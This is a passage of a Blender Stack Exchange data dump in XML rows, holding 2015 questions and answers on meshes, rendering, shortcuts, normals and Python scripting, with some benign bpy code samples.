occlusion&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it happens in any camera render, it has nothing to do with syntheyes matchmoved scene, i found out right now.&lt;/p&gt;&#xA;" OwnerUserId="16025" LastEditorUserId="12" LastEditDate="2015-09-06T16:52:35.727" LastActivityDate="2015-09-06T16:52:35.727" Title="ambient occlusion bug?" Tags="&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38056" PostTypeId="1" CreationDate="2015-09-05T10:56:33.310" Score="1" ViewCount="299" Body="&lt;p&gt;I have mesh model of a shirt that I want to reshape as if it were being put on - with the surface rumpled and bunched up - but I don't want the mesh to lose its overall shape while I modify it, as if it were real fabric. Is there some way to do this?&#xA;I have tried the proportional editing tool but it is inadequate. &lt;/p&gt;&#xA;" OwnerUserId="17921" LastActivityDate="2015-09-05T10:56:33.310" Title="How do I distort a mesh like fabric?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38057" PostTypeId="1" AcceptedAnswerId="38104" CreationDate="2015-09-05T10:59:43.490" Score="1" ViewCount="342" Body="&lt;p&gt;I'm animating a high-poly mesh using an algorithm which is supposed to be challenging to visualize. See sect. 8.1 of &lt;a href=&quot;http://geuz.org/gmsh/doc/preprints/gmsh_visu_preprint.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this paper&lt;/a&gt;. I'm using a &lt;a href=&quot;https://blender.stackexchange.com/a/36915/5334&quot;&gt;key_block&lt;/a&gt; method to animate the distortion of a high-poly icosphere, and the image shown below looks weird. Is this an artifact of the 3D view rendering, or is there something just bad about the mesh (which could be quite true)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the application will be technical, and getting surfaces in the right place is important (there will be other things in close proximity), just going to fewer polygons or similar things, are not the kind of answer I can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image was made using n_subdivisions = 7, but I have lowered it to 6 in the script to start with. It is a little resource-heavy and takes about a minute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes the script is a little long, but it's the easiest way to allow others to generate the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5okxV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5okxV.png&quot; alt=&quot;fluid sphere mesh poor appearance&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f8TwA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f8TwA.png&quot; alt=&quot;fluid sphere mesh poor appearance another&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_ico_data(n_subdiv=3, size=1.0, location=(0,0,1.0)):&#xA;    &quot;&quot;&quot;get icosphere data from ops primitive because &#xA;    It's easier than figuring it all out myself&quot;&quot;&quot;&#xA;    make_ico = bpy.ops.mesh.primitive_ico_sphere_add&#xA;    make_ico(subdivisions=n_subdiv, size=size, location=location)&#xA;    ico = bpy.context.active_object&#xA;    ico_data = ico.data.copy()&#xA;    bpy.ops.object.delete()&#xA;    return ico_data&#xA;&#xA;def make_new_meshobject_from_data(data, name=None, scene=None):&#xA;    if scene == None:&#xA;        scene = bpy.context.scene&#xA;    if name == None:&#xA;        name = &quot;bob&quot;&#xA;    me = bpy.data.meshes.new(name)&#xA;    ob = bpy.data.objects.new(name, me)&#xA;    ob.data = data.copy()&#xA;    scene.objects.link(ob)&#xA;    ob.select = True&#xA;    return ob&#xA;&#xA;def velo1(X, t, T):  # written for convenience, not speed&#xA;    &quot;&quot;&quot;from here: http://geuz.org/gmsh/doc/preprints/gmsh_visu_preprint.pdf&quot;&quot;&quot;&#xA;    pi, twopi = np.pi, 2.0*np.pi&#xA;    g = np.cos(pi * t / T)    &#xA;    x, y, z = X.T&#xA;    vx = 2.*np.sin(   pi*x)**2 * np.sin(twopi*y)    * np.sin(twopi*z)    * g&#xA;    vy =   -np.sin(twopi*x)    * np.sin(   pi*y)**2 * np.sin(twopi*z)    * g&#xA;    vz =   -np.sin(twopi*x)    * np.sin(twopi*y)    * np.sin(   pi*z)**2 * g    &#xA;    V = np.vstack((vx, vy, vz)).T&#xA;    return V&#xA;&#xA;def RK4a(x, t, n, h, F, T):&#xA;    for i in range(n):  # written for readability, not speed&#xA;        ho2, ho6 = h/2.0, h/6.0&#xA;        k1 = F(x[i]         ,  t      , T)&#xA;        k2 = F(x[i] + k1*ho2,  t + ho2, T)&#xA;        k3 = F(x[i] + k2*ho2,  t + ho2, T)&#xA;        k4 = F(x[i] + k3*h  ,  t + h  , T)&#xA;        x[i+1] = x[i] + ho6 * (k1 + 2.*(k2 + k3) + k4)&#xA;        t += h&#xA;&#xA;import bpy&#xA;import numpy as np&#xA;&#xA;pi, twopi = np.pi, 2.0*np.pi&#xA;radius, center = 0.15, [0.35, 0.35, 0.35]&#xA;&#xA;ico_data = get_ico_data(n_subdiv=6, size=1.0, location=(0,0,0))&#xA;print(len(ico_data.vertices))&#xA;for v in ico_data.vertices:&#xA;    for i in range(3):&#xA;        v.co[i] = radius*v.co[i] + center[i]&#xA;&#xA;X0 = np.array([v.co for v in ico_data.vertices])&#xA;print(&quot;X0.shape: &quot;, X0.shape)&#xA;print(&quot;X0: &quot;, X0[:,2].max(), X0[:,2].min())&#xA;&#xA;T = 3.0  # how far to go&#xA;&#xA;n, dt = 601, 0.01&#xA;t = 0.&#xA;&#xA;# data using RK4&#xA;s1, s2 = X0.shape&#xA;X_RK = np.zeros((n+2, s1, s2))&#xA;X_RK[0] = X0&#xA;RK4a(X_RK, t, n, dt, velo1, T)&#xA;ddata_RK = X_RK[:n+1]&#xA;&#xA;X = X0.copy()&#xA;data = []&#xA;data.append(X.copy())&#xA;for i in range(n):&#xA;    X += dt * velo1(X, t, T)&#xA;    data.append(X.copy())&#xA;    t += dt&#xA;ddata = np.array(data)&#xA;&#xA;np.save(&quot;make_my_dayta7&quot;,    ddata   )&#xA;np.save(&quot;make_my_dayta_RK7&quot;, ddata_RK)&#xA;&#xA;ico = make_new_meshobject_from_data(ico_data)&#xA;ve = ico.data.vertices&#xA;ico.scale = [6.0]*3&#xA;ico.location = (0,0,0)&#xA;print(&quot;ve: &quot;, max([v.co[2] for v in ve]), min([v.co[2] for v in ve]))&#xA;&#xA;ico_RK = make_new_meshobject_from_data(ico_data)&#xA;ico_RK.scale = [6.0]*3&#xA;ico_RK.location = (6,0,0)&#xA;&#xA;dayta    = np.load(&quot;make_my_dayta7.npy&quot;   )&#xA;dayta_RK = np.load(&quot;make_my_dayta_RK7.npy&quot;)&#xA;&#xA;n_frames = dayta.shape[0]&#xA;print(&quot;hey dayta.shape: &quot;, dayta.shape)&#xA;&#xA;bpy.context.scene.frame_end = n_frames&#xA;&#xA;# From here: https://blender.stackexchange.com/a/36915/5334&#xA;## ------- part 2  ---set up keyblocks / shape_keys&#xA;&#xA;for i_frame in range(n_frames):&#xA;    block    = ico.shape_key_add(name=str(i_frame), from_mix=False)  # returns a key_blocks member&#xA;    block_RK = ico_RK.shape_key_add(name=str(i_frame), from_mix=False)  # returns a key_blocks member&#xA;&#xA;    block.value, block_RK.value = 1.0, 1.0&#xA;    block.mute,  block_RK.mute  = True, True &#xA;&#xA;    for (vert, co) in zip(block.data, dayta[i_frame]):&#xA;        vert.co = co&#xA;&#xA;    for (vert, co) in zip(block_RK.data, dayta_RK[i_frame]):&#xA;        vert.co = co&#xA;&#xA;    # keyframe off on frame zero&#xA;    block.mute, block_RK.mute = True, True&#xA;    block.keyframe_insert(data_path='mute', frame=0, index=-1)&#xA;    block_RK.keyframe_insert(data_path='mute', frame=0, index=-1)&#xA;&#xA;    block.mute, block_RK.mute = False, False&#xA;    block.keyframe_insert(data_path='mute', frame=i_frame + 1, index=-1)&#xA;    block_RK.keyframe_insert(data_path='mute', frame=i_frame + 1, index=-1)&#xA;&#xA;    block.mute, block_RK.mute = True, True&#xA;    block.keyframe_insert(data_path='mute', frame=i_frame + 2, index=-1)&#xA;    block_RK.keyframe_insert(data_path='mute', frame=i_frame + 2, index=-1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-09-06T07:45:22.287" Title="strange artifacts seen in 3D view of script-animated high-poly mesh" Tags="&lt;rendering&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38058" PostTypeId="1" AcceptedAnswerId="38067" CreationDate="2015-09-05T11:12:49.420" Score="2" ViewCount="216" Body="&lt;p&gt;I have a problem that's kind of weird. The numpad operation keys (&lt;kbd&gt;+&lt;/kbd&gt;, &lt;kbd&gt;-&lt;/kbd&gt;, &lt;kbd&gt;*&lt;/kbd&gt;, &lt;kbd&gt;/&lt;/kbd&gt;) dont work as expected. I cant do the math when transforming objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example hitting &lt;kbd&gt;G&lt;/kbd&gt; while object is selected, then &lt;kbd&gt;X&lt;/kbd&gt; then &lt;kbd&gt;2&lt;/kbd&gt; &lt;kbd&gt;+&lt;/kbd&gt; &lt;kbd&gt;2&lt;/kbd&gt; doesn't move the object 4 units on the X axis, instead - it moves it 22 units, like if that &lt;kbd&gt;+&lt;/kbd&gt; hit was ignored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed it when moving from Blender 2.68 to later versions.&#xA;(actually after installing 2.68 after the installation of 2.75, the 2.68 also works that way)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to get back the old functionality?&lt;/p&gt;&#xA;" OwnerUserId="16877" LastEditorUserId="241" LastEditDate="2015-09-05T15:17:46.170" LastActivityDate="2015-09-05T15:17:46.170" Title="Problems with numpad operators" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="4" ClosedDate="2015-09-05T15:08:40.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="38060" PostTypeId="1" CreationDate="2015-09-05T12:06:54.587" Score="6" ViewCount="9069" Body="&lt;p&gt;I want to append an element from another Blend file by a script. I found the Blender operator bpy.ops.wm.append which should do what I want. However, the API documentation is a bit unclear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filepath  – File Path, Path to file&#xA;directory – Directory, Directory of the file&#xA;filename  – File Name, Name of the file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what exactly is expected here?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="1224" LastEditDate="2015-09-05T13:58:54.383" LastActivityDate="2015-09-05T13:58:54.383" Title="How to link/append with a Python script?" Tags="&lt;python&gt;&lt;append&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ClosedDate="2015-09-05T13:59:05.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="38061" PostTypeId="2" ParentId="38060" CreationDate="2015-09-05T12:11:05.887" Score="12" Body="&lt;p&gt;After trying out the interface for a while, i finally found the values that seem to satisfy the API. Here is a code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blendfile = &quot;D:/path/to/the/repository.blend&quot;&#xA;section   = &quot;\\Action\\&quot;&#xA;object    = &quot;myaction&quot;&#xA;&#xA;filepath  = blendfile + section + object&#xA;directory = blendfile + section&#xA;filename  = object&#xA;&#xA;bpy.ops.wm.append(&#xA;    filepath=filepath, &#xA;    filename=filename,&#xA;    directory=directory)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hint: The directroy string must be terminated with a trailing &quot;\\&quot;. If you do not do that, then you always get an error &quot;not a library&quot;. I also found that you only need to supply filename and directory, which makes some sense:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.append(filename=filename, directory=directory) # works&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this does not work, no idea why:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.append(filepath=filepath) # does not work (why that?) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2015-09-05T12:19:06.343" LastActivityDate="2015-09-05T12:19:06.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38063" PostTypeId="2" ParentId="38031" CreationDate="2015-09-05T13:11:16.720" Score="2" Body="&lt;p&gt;If you are trying to Bake the Selected Object pass to the Active object without selecting at least another object, the operation fails: no information can be baked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7FGMo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FGMo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bake a texure from a single object, you should disable the option by unchecking the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KL3Xb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KL3Xb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It comes out  grey because in BI the ambient occlusion get coloured by the Diffuse color (grey in your case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YQKvg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YQKvg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-09-05T13:11:16.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38064" PostTypeId="2" ParentId="38020" CreationDate="2015-09-05T13:20:33.837" Score="1" Body="&lt;p&gt;As well as Recalculate, there's the &quot;Flip Direction&quot; tool in the Shading/UVs tab of the tool panel, you can try using that on the specific selection where there's a problem.&lt;/p&gt;&#xA;" OwnerUserId="17924" LastActivityDate="2015-09-05T13:20:33.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38065" PostTypeId="2" ParentId="38058" CreationDate="2015-09-05T13:34:54.650" Score="1" Body="&lt;p&gt;The kind of &quot;solution&quot; to this is to press the &lt;kbd&gt; *&lt;/kbd&gt; (star key) on the numpad while in the input mode. &#xA;For example - with object selected pressing &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt; * &lt;/kbd&gt;&lt;kbd&gt;+&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt; will translate the object 4 units on the X axis. The star somehow changes the input mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked in 2.75a, but not 2.68 - it looks like something got screwed when installing 2.75a. My guess is - it should work from 2.69 onwards.&lt;/p&gt;&#xA;" OwnerUserId="16877" LastEditorUserId="3710" LastEditDate="2015-09-05T14:17:56.213" LastActivityDate="2015-09-05T14:17:56.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38066" PostTypeId="1" AcceptedAnswerId="38070" CreationDate="2015-09-05T13:38:17.263" Score="4" ViewCount="240" Body="&lt;p&gt;Is the Image below a Normal Map or it is geometry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if an effect like that is possible to reach with Normal Map or maybe even multiple Maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3rETU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3rETU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastEditorUserId="6076" LastEditDate="2015-09-05T15:51:57.247" LastActivityDate="2015-09-05T15:51:57.247" Title="Could this be a Normal Map?" Tags="&lt;modeling&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38067" PostTypeId="2" ParentId="38058" CreationDate="2015-09-05T14:06:44.633" Score="2" Body="&lt;p&gt;In Blender 2.75, you have to use &lt;a href=&quot;https://www.blender.org/manual/getting_started/basics/interface/buttons_and_controls.html?highlight=expressions#expressions&quot; rel=&quot;nofollow&quot;&gt;expressions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To evaluate any expression, you have to start with &lt;kbd&gt;=&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example: &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;=&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;+&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="3710" LastEditDate="2015-09-05T14:23:37.200" LastActivityDate="2015-09-05T14:23:37.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38068" PostTypeId="1" CreationDate="2015-09-05T14:36:11.490" Score="1" ViewCount="849" Body="&lt;p&gt;I was working on an intro and then I managed to click a random button and now, all the tabs on the side were replaced by something that looked like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/TYmcz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TYmcz.png&quot; alt=&quot;The intro for our project after the incident&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really need to fix this so I can get back on track. So can you guys help me since I'm just new to this Software.&lt;/p&gt;&#xA;" OwnerUserId="17925" LastEditorUserId="2217" LastEditDate="2015-09-05T14:47:38.733" LastActivityDate="2015-09-05T15:02:36.890" Title="How do I get out of 3D view" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38069" PostTypeId="2" ParentId="38068" CreationDate="2015-09-05T14:54:20.507" Score="2" Body="&lt;p&gt;You just switched the editor (window) type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is click on the &lt;em&gt;Window type button&lt;/em&gt; (first button in the header), and switch the window back to &lt;em&gt;Properties&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tSUBO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tSUBO.png&quot; alt=&quot;3D view header with window type menu open&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-09-05T15:02:36.890" LastActivityDate="2015-09-05T15:02:36.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38070" PostTypeId="2" ParentId="38066" CreationDate="2015-09-05T14:55:26.650" Score="6" Body="&lt;p&gt;In your example, the big extruding portion is geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the general case, it very much depends on how close you look at it and at what angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a normal map you always see all faces of a detail. From some angles it can seem wrong since they are facing away from you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we have some geometry represented by... geometry and a normal map. Normal map below. Can you tell wich one is the normal map? Yes, of course you can. But this is realy up close. Still, if you are rendering a space ship and are flying by it's side, go for geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6Tztd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Tztd.png&quot; alt=&quot;normal map example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2015-09-05T14:55:26.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38072" PostTypeId="1" CreationDate="2015-09-05T16:52:13.777" Score="1" ViewCount="284" Body="&lt;p&gt;I want to render this creature:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LA3Qd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LA3Qd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that it is made out of edges, is there a way to somehow render these edges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="17927" LastEditorUserId="241" LastEditDate="2015-09-05T16:59:06.637" LastActivityDate="2015-09-05T17:49:32.157" Title="How can I render edges?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-09-05T18:57:00.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="38074" PostTypeId="2" ParentId="38072" CreationDate="2015-09-05T16:59:04.700" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OaPP2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OaPP2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a skin modifier which adds geometry to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below shows two mesh objects one with the modifier visible and the selected mesh has modifier not visible comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y2F8n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y2F8n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image belows the skin close to the edges (skinnier).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this in edit mode use the keystroke &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; and move the mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kuUsv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kuUsv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="395" LastEditDate="2015-09-05T17:22:06.433" LastActivityDate="2015-09-05T17:22:06.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38075" PostTypeId="2" ParentId="38022" CreationDate="2015-09-05T17:02:41.553" Score="2" Body="&lt;p&gt;The 'normals' i.e. the direction of the faces on your chalice are inverted, or pointing the wrong way. The darkened shading of the chalice is indicative of this. This means that he fluid simulation will have trouble telling what the inside and the outside of your mesh is. On the left is your model with incorrect normals, and on the right, correct normals:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Eqbdj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eqbdj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter edit mode for the chalice, select everything and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to 'Recalculate normals'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note, your fluid domain is very large. If you need it that large then that's fine, but if you don't, make sure your domain is as small as possible. Using a large domain will use a large amount of ram compared to a domain which is small and compact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend disabling 'Remove air bubbles' in the 'Fluid Boundary' panel for the domain object to stop the liquid appearing through the sides of the chalice.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-09-05T17:02:41.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38076" PostTypeId="2" ParentId="36952" CreationDate="2015-09-05T17:26:43.983" Score="1" Body="&lt;p&gt;Since the active_layer property start from 0, you have to add 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from the UI PANEL SIMPLE template and the answer of @zeffii, you can run this script to add a panel in the Tool Shelf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class ActiveLayerPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Tool Shelf&quot;&quot;&quot;&#xA;    bl_label = &quot;Active Layer Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_activelayer&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        obj = context.object&#xA;        layer = getActiveLayer(context.scene)&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;ACTIVE LAYER&quot;, icon='RENDERLAYERS')&#xA;&#xA;        row = layout.row()&#xA;        row.label(text=&quot;Active layer is: &quot; + str(layer))&#xA;&#xA;def getActiveLayer(scene):&#xA;    return scene.active_layer + 1&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ActiveLayerPanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ActiveLayerPanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VznUb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VznUb.png&quot; alt=&quot;The panel shows the active layer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="7668" LastEditDate="2015-09-06T07:53:12.910" LastActivityDate="2015-09-06T07:53:12.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38079" PostTypeId="1" CreationDate="2015-09-05T17:49:12.723" Score="1" ViewCount="80" Body="&lt;p&gt;So I was watching this tutorial on how to make a lightsaber (&lt;a href=&quot;https://www.youtube.com/watch?v=xxMI4aT4FQQ&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=xxMI4aT4FQQ&lt;/a&gt;), and at time 16:12, he asks to parent the bone and the mesh, like he says, I hold shift and then I select the mesh, then the bone, and then press ctrl+p to parent, I then press parent with envelope weights, like he said... I do that, then i play it,and then only the bottom is moving and pivoting and following with the motion tracking... Could someone help please?  &lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2015-10-05T18:44:02.293" Title="Parenting Mesh with Bone" Tags="&lt;cycles-render-engine&gt;&lt;bones&gt;&lt;parent&gt;&lt;motion-capture&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38080" PostTypeId="2" ParentId="38079" CreationDate="2015-09-05T17:53:38.200" Score="1" Body="&lt;p&gt;Select &quot;bone&quot; instead of parenting it with &quot;envelope weights&quot;&lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2015-09-05T17:53:38.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38081" PostTypeId="1" AcceptedAnswerId="38082" CreationDate="2015-09-05T18:21:26.590" Score="2" ViewCount="342" Body="&lt;p&gt;When I try to add a point to the curve bezier ( by selecting one of the two endpoints, then holding Ctrl and clicking LMB). Sometimes Blender add a point other times Blender duplicate the same point. The photo shows the duplicate point by selecting one of the two endpoints then holding Ctrl and cliking LMB. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iWj5Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iWj5Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2015-09-05T18:37:10.387" Title="Why when I try to add a point to the curve bezier I duplicate it" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38082" PostTypeId="2" ParentId="38081" CreationDate="2015-09-05T18:30:40.490" Score="2" Body="&lt;p&gt;Consider &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You may be unintentionally creating a new disconnected subcurve of the entire curve object.  This happens when the active vertex is not an endpoint of the curve.  Curve objects can have many disconnected subcurves. Flexibility and Complexity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;First select an end point of the curve.  Next control-click  the location  where you want the new point to be. The new point can be moved immediately after.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally Click two points and subdivide to add a new point if that suits your needs better.  The new point will be in the current curve.  Subdivide is on the menu or keystroke w.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" 